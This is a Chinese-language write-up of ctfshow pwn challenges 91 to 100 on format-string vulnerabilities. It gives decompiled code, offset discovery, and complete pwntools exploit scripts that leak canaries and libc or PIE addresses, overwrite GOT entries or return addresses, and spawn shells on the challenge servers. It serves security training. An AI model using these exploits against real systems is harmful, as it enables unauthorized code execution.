pwn91
题目描述
开始格式化字符串了,先来个简单的吧
unsigned int ctfshow(){ char s[80]; // [esp+Ch] [ebp-5Ch] BYREF unsigned int v2; // [esp+5Ch] [ebp-Ch] v2 = __readgsdword(0x14u); memset(s, c: 0, n: sizeof(s)); read(fd: 0, buf: s, nbytes: 0x50u); printf(format: s); printf(format: "daniu now is :%d!\n", daniu); return __readgsdword(0x14u) ^ v2;}int __cdecl main(int argc, const char **argv, const char **envp){ init(a1: &argc); logo(); ctfshow(); if ( daniu == 6 ) { puts(s: "daniu praise you for a good job!"); system(command: "/bin/sh"); } return 0;}[*] '/home/lmx/pwn/ctfshow/格式化字符串/091_pwn91/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: Nodaniu 我们要让其成为 6 ,我们用任意写,先确定偏移
payload = b"AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p"p.sendline(payload)leak = p.recv()print(leak)\nAAAA0xff822bdc.0x50.0x804870a.0xe846b788.0x46.0xe846cd40.0x41414141.0x252e7025.0x70252e70\ndaniu now is :0!\n'可以看见偏移是 7
#! /usr/bin/env python3from pwn import *e = ELF('./pwn')context.os = 'linux'context.arch = 'i386'addr = 0x0804B038p = process('./pwn')payload = p32(addr) + b'%2c%7$n'p.sendline(payload)p.interactive()那么如此输出的 4 字节地址加 %2c 一共是 6 字节,我们就将 daniu 改成了 6

pwn92
题目描述
可能上一题没太看懂?来看下基础吧
int __fastcall main(int argc, const char **argv, const char **envp){ init(a1: argc, a2: argv, a3: envp); logo(); puts(s: "Here is some example:"); example(); flagishere(); return 0;}unsigned __int64 example(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf(format: "Hello CTFshow %%\n"); puts(s: "Hello CTFshow!"); printf(format: "Num : %d\n", 114514); printf(format: "%s %s\n", "Format", "Strings"); printf(format: "%12c\n", 65); printf(format: "%16s\n", "Hello"); printf(format: "%12c%n\n", 65, &v1); printf(format: "%16s%n\n", "Hello!", &v1); printf(format: "%2$s %1$s\n", "Format", "Strings"); printf(format: "%42c%1$n\n", &v1); return __readfsqword(0x28u) ^ v2;}unsigned __int64 flagishere(){ FILE *stream; // [rsp+8h] [rbp-68h] char format[10]; // [rsp+16h] [rbp-5Ah] BYREF char s[72]; // [rsp+20h] [rbp-50h] BYREF unsigned __int64 v4; // [rsp+68h] [rbp-8h] v4 = __readfsqword(0x28u); stream = fopen(filename: "/ctfshow_flag", modes: "r"); if ( stream == nullptr ) { puts(s: "/ctfshow_flag: No such file or directory."); exit(status: 0); } fgets(s, n: 64, stream); printf(format: "Enter your format string: "); __isoc99_scanf(a1: "%9s", format); printf(format: "The flag is :"); printf(format, s); return __readfsqword(0x28u) ^ v4;}没什么好说的,我们直接 nc 连接输入 %s

pwm93
题目描述
emmm,再来一道基础原理?
int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); init(a1: argc, a2: argv, a3: envp); logo(); menu(); puts(s: "Enter your choice: "); __isoc99_scanf(a1: "%d", &v4); switch ( v4 ) { case 1: func1(); break; case 2: func2(); break; case 3: func3(); break; case 4: func4(); break; case 5: func5(); break; case 6: nothing_here(); break; case 7: exit0(); break; default: puts(s: "Invalid choice. Please enter a valid option."); break; } return 0;}unsigned __int64 exit0(){ FILE *stream; // [rsp+8h] [rbp-58h] char s[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); stream = fopen(filename: "/ctfshow_flag", modes: "r"); if ( stream == nullptr ) { puts(s: "/ctfshow_flag: No such file or directory."); exit(status: 0); } fgets(s, n: 64, stream); printf(format: "%s", s); return __readfsqword(0x28u) ^ v3;}输入 7 即可
pwm94
题目描述
好了,你已经学会1+1=2了,接下来继续加油吧
void __noreturn ctfshow(){ char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v1; // [esp+6Ch] [ebp-Ch] v1 = __readgsdword(0x14u); while ( 1 ) { memset(s: buf, c: 0, n: sizeof(buf)); read(fd: 0, buf, nbytes: 0x64u); printf(format: buf); }}void sys(){ system(command: "echo Write here!");}我们先看一下偏移
payload = b'AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'p.sendline(payload)p.recvuntil(b'AAAA')leak = p.recv()print(leak)b'0xffa35f18.0x64.0x80486e5.0xe9086d40.0xe9086d87.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025\n'可以看见偏移是 6,这里是有无限任意写的,那么我们直接修改add esp, 10h;jmp short loc_80486F6的值是不行的,因为程序运行时是 r-e没有写的权限
0x8048000 0x8049000 r-xp 1000 0 pwn 0x8049000 0x804a000 r--p 1000 0 pwn 0x804a000 0x804b000 rw-p 1000 1000 pwn0xf7d62000 0xf7d86000 r--p 24000 0 /usr/lib32/libc.so.60xf7d86000 0xf7f12000 r-xp 18c000 24000 /usr/lib32/libc.so.60xf7f12000 0xf7f96000 r--p 84000 1b0000 /usr/lib32/libc.so.60xf7f96000 0xf7f98000 r--p 2000 234000 /usr/lib32/libc.so.60xf7f98000 0xf7f99000 rw-p 1000 236000 /usr/lib32/libc.so.60xf7f99000 0xf7fa3000 rw-p a000 0 [anon_f7f99]0xf7fbb000 0xf7fbd000 rw-p 2000 0 [anon_f7fbb]0xf7fbd000 0xf7fc1000 r--p 4000 0 [vvar]0xf7fc1000 0xf7fc3000 r--p 2000 0 [vvar_vclock]0xf7fc3000 0xf7fc6000 r-xp 3000 0 [vdso]0xf7fc6000 0xf7fc7000 r--p 1000 0 /usr/lib32/ld-linux.so.20xf7fc7000 0xf7fec000 r-xp 25000 1000 /usr/lib32/ld-linux.so.20xf7fec000 0xf7ffb000 r--p f000 26000 /usr/lib32/ld-linux.so.20xf7ffb000 0xf7ffd000 r--p 2000 34000 /usr/lib32/ld-linux.so.20xf7ffd000 0xf7ffe000 rw-p 1000 36000 /usr/lib32/ld-linux.so.20xfffdc000 0xffffe000 rw-p 22000 0 [stack]我们可以看见各个页的权限情况
那么我们怎么办呢?当调用 printf 时,会到 got 表找 printf 的真实地址,那么我们只要把 got 表里的地址改成 system[plt] 的值即可
sub esp, 0Chlea eax, [ebp+buf]push eax那么显然,我们栈上的 buf 地址指向的地方就是我们的参数了,我们直接复用即可
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'system_addr = elf.symbols['system']offset = 6p = process('./pwn')payload = fmtstr_payload( offset, {elf.got['printf']: elf.plt['system']}, write_size='byte' )p.sendline(payload)p.sendline(b'/bin/sh')p.interactive()pwn95
题目描述
加大了一点点难度,不过对你来说还是 so easy 吧
void __noreturn ctfshow(){ char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v1; // [esp+6Ch] [ebp-Ch] v1 = __readgsdword(0x14u); while ( 1 ) { memset(s: buf, c: 0, n: sizeof(buf)); read(fd: 0, buf, nbytes: 0x64u); printf(format: buf); fflush(stream: stdout); }}这里 system 函数没了,那么还是先确定偏移是 6,接下来我们泄露 printf 的真实地址,再用这个推算出 libc 里的 system 函数的地址
#! /usr/bin/env python3from pwn import *from LibcSearcher import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'offset = 6target_addr = 0xffffcb68p = remote('pwn.challenge.ctf.show',28226)#p = process('./pwn')printf_addr = elf.got['printf']p.recvuntil(b'* Hint : This time program no system ! \n')p.recvuntil(b'* ************************************* \n')p.sendline(p32(printf_addr) + b'%6$s')leak = p.recv(8)print(leak)leak = leak[4:8]printf_addr = u32(leak)log.info('printf_addr: ' + hex(printf_addr))libc = LibcSearcher('printf', printf_addr)libc_base = printf_addr - libc.dump('printf')system_addr = libc_base + libc.dump('system')log.info('system_addr: ' + hex(system_addr))payload = fmtstr_payload( offset, {elf.got['printf']: system_addr}, write_size='byte' )p.sendline(payload)p.sendline(b'/bin/sh')p.interactive()$ cat flagctfshow{5c4cd778-3ac2-48ae-8874-f1dfe9a17f41}pwn96
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ char v3[64]; // [esp+0h] [ebp-90h] BYREF char s[64]; // [esp+40h] [ebp-50h] BYREF FILE *stream; // [esp+80h] [ebp-10h] char *v6; // [esp+84h] [ebp-Ch] int *p_argc; // [esp+88h] [ebp-8h] p_argc = &argc; setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0); v6 = v3; memset(s, c: 0, n: sizeof(s)); memset(s, c: 0, n: sizeof(s)); puts(s: asc_8048830); puts(s: asc_80488A4); puts(s: asc_8048920); puts(s: asc_80489AC); puts(s: asc_8048A3C); puts(s: asc_8048AC0); puts(s: asc_8048B54); puts(s: " * ************************************* "); puts(s: aClassifyCtfsho); puts(s: " * Type : Format_String "); puts(s: " * Site : https://ctf.show/ "); puts(s: " * Hint : Flag on the stack! "); puts(s: " * ************************************* "); puts(s: "It's time to learn about format strings!"); puts(s: "Where is the flag?"); stream = fopen(filename: "/ctfshow_flag", modes: "r"); if ( stream == nullptr ) { puts(s: "/ctfshow_flag: No such file or directory."); exit(status: 0); } fgets(s: v3, n: 64, stream); while ( 1 ) { printf(format: "$ "); fgets(s, n: 64, stream: stdin); printf(format: s); }}程序意思还是很好理解的,那我们本地调试一下
esp 0xffffcb50 —▸ 0xffffcba8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'可以看见我们的栈顶指针是 cb50
0xffffcb68 ◂— 'ctfshow{local_test_flag_for_pwn96}\n'cb68 放着我们的 flag
pwndbg> search -p 0xffffcb68Searching for a pointer-width integer: b'h\xcb\xff\xff'libc.so.6 0xf7dd9788 push 0x8bffffcb[stack] 0xffffcbec 0xffffcb68cbec 指向 cb68 那我们计算偏移 0xec-0x50 / 4 是 39
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show',28257)p.recvuntil(b'$ ')payload = b'%39$s'p.sendline(payload)leak = p.recv()print(leak)[+] Opening connection to pwn.challenge.ctf.show on port 28257: Doneb'ctfshow{07e90ec1-b515-4dd2-89e7-5347fd20c6d0}\n\n$ '[*] Closed connection to pwn.challenge.ctf.show port 28257pwn97
题目描述
覆写某个值满足某条件好像就可以了
fgets(s, n: 64, stream: stdin); if ( strstr(haystack: s, needle: "shutdown") != nullptr ) { puts(s: "See you~"); exit(status: 1); } if ( strstr(haystack: s, needle: "cat /ctfshow_flag") == nullptr ) { puts(s: "Here you are:\n"); printf(format: s); } get_flag(); return 0;}int get_flag(){ if ( check == 0 ) return puts(s: "Permission denied."); puts(s: "Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag"); return flag();}我们让 check != 0 即可
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show',28213)payload = p32(0x0804B040) + b'%11$n'p.recvuntil(b'$')p.sendline(payload)p.interactive()pwn98
题目描述
Canary?有没有办法绕过呢?
unsigned int ctfshow(){ char s[40]; // [esp+4h] [ebp-34h] BYREF unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); gets(s); printf(format: s); gets(s); return __readgsdword(0x14u) ^ v2;}我们确认偏移 5 并泄露 canary,程序中有 /bin/sh 和 system
#!/usr/bin/env python3from pwn import *context.binary = elf = ELF('./pwn')context.os = 'linux'context.arch = 'i386'p = remote('pwn.challenge.ctf.show', 28176)def wait_logo(p): p.recvuntil(b'* Hint : Find the vulnerability and then exploit it ! \n') p.recvuntil(b'* ************************************* \n')wait_logo(p)p.sendline(b'%15$p.END')canary = int(p.recvuntil(b'.END', drop=True), 16)bin_sh = next(elf.search(b'/bin/sh'))payload = flat( b'A' * 40, p32(canary), b'B' * 8, p32(0), p32(elf.plt['system']), p32(0), p32(bin_sh),)p.sendline(payload)p.interactive()$ cat c*ctfshow{6e68beea-541e-446f-943e-d54abcb7889c}pwn99
题目描述
fmt盲打(不是忘记放附件,是本身就没附件!!!)
连接靶机提示 flag 在栈上
#!/usr/bin/env python3from pwn import *import releaks = b''for i in range(1, 80): p = remote('pwn.challenge.ctf.show', 28163) p.clean(timeout=1) payload = f"%{i}$p.END".encode() p.sendline(payload) data = p.recvall(timeout=2) leaks += data print(i, data) p.close()print(leaks)#! /usr/bin/env python3from pwn import *import releaks = b'上一个收到的 leaks'vals = re.findall(rb'0x[0-9a-fA-F]+|\(nil\)', leaks)for idx, x in enumerate(vals, 1): if x == b'(nil)': print(idx, x) continue v = int(x, 16) bs = v.to_bytes(8, 'little', signed=False) printable = bytes(c for c in bs if 32 <= c <= 126) print(idx, x, '=>', bs, printable)
pwn100
题目描述
有些东西好像需要一定条件
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-14h] BYREF int v4; // [rsp+10h] [rbp-10h] BYREF unsigned int v5; // [rsp+14h] [rbp-Ch] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); initial(a1: argc, a2: argv, a3: envp); whattime(); v3 = 0; v4 = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v5 = get_int(); if ( v5 != 2 ) break; fmt_attack(a1: &v3); } if ( v5 > 2 ) break; if ( v5 == 1 ) leak(a1: &v4); } if ( v5 == 3 ) get_flag(); if ( v5 == 4 ) { puts(s: "Bye!"); exit(status: 0); } }}unsigned __int64 __fastcall fmt_attack(int *a1){ char format[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); memset(format, 0, 0x30u); if ( *a1 > 0 ) { puts(s: "No way!"); exit(status: 1); } *a1 = 1; read_n(a1: format, a2: 40); printf(format); return __readfsqword(0x28u) ^ v3;}void __noreturn get_flag(){ int fd; // [rsp+Ch] [rbp-64h] char s2[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v2; // [rsp+68h] [rbp-8h] v2 = __readfsqword(0x28u); memset(s2, 0, 0x50u); puts(s: "Flag is here ! Come on !!"); read_n(a1: s2, a2: 64); if ( strncmp(s1: secret, s2, n: 0x40u) == 0 ) { close(fd: 1); fd = open(file: "/flag", oflag: 0); read(fd, buf: s2, nbytes: 0x50u); printf(format: s2); exit(status: 0); } puts(s: "No way!"); exit(status: 1);}unsigned __int64 __fastcall leak(int *a1){ void *buf; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( *a1 > 0 ) { puts(s: "No way!"); exit(status: 1); } *a1 = 1; read_n(a1: &buf, a2: 8); write(fd: 1, buf, n: 1u); return __readfsqword(0x28u) ^ v3;}在我们 call printf 时
► 0x555555400ecc <fmt_attack+118> call printf@plt <printf@plt> format: 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */ vararg: 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */00:0000│ rsp 0x7fffffffd9a0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2f0 —▸ 0x555555400000 ◂— jg 0x55555540004701:0008│-048 0x7fffffffd9a8 —▸ 0x7fffffffda0c ◂— 102:0010│ rdi rsi 0x7fffffffd9b0 ◂— 0xa61616161 /* 'aaaa\n' */03:0018│-038 0x7fffffffd9b8 ◂— 0我们的 rax 0x7fffffffda0c 是 1 ,能看出来偏移是 6+1 为 7 那我们输入 %7$n 就能修改为 0 持续利用
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')context.os = 'linux'context.arch = 'amd64'context.terminal = ['tmux', 'splitw', '-h']p = remote('pwn.challenge.ctf.show', 28287)#p = process('./pwn')def whattime(): p.recvuntil(b'What time is it :') p.sendline(b'00 00 00')whattime()def fmt(payload): p.recvuntil(b'>>') p.sendline(b'2') p.sendline(payload) fmt(b'%7$n-%17$p.END')p.recvuntil(b'-')leak = p.recvuntil(b'.END', drop=True)leak = int(leak, 16)base = leak - 118 - 0xFB6print(hex(leak))print(hex(base))fmt(b'%7$n-%16$p.END')p.recvuntil(b'-')leak = p.recvuntil(b'.END', drop=True)leak = int(leak, 16)ret = leak - 0x28print(hex(ret))p.recvuntil(b'>>')p.sendline(b'2')target = base + elf.sym['get_flag'] + 0x6epayload = f'%{target & 0xffff}c%10$hn'.encode().ljust(16, b'\x00') + p64(ret)p.sendline(payload)p.interactive()开了 PIE 首先泄露基址,之后泄露 ret_addr ,之后修改返回地址低二字节到后门函数内
call closemov esi, 0 ; oflag <====lea rdi, aFlag ; "/flag"mov eax, 0call open

读者回信
正在翻开留言页...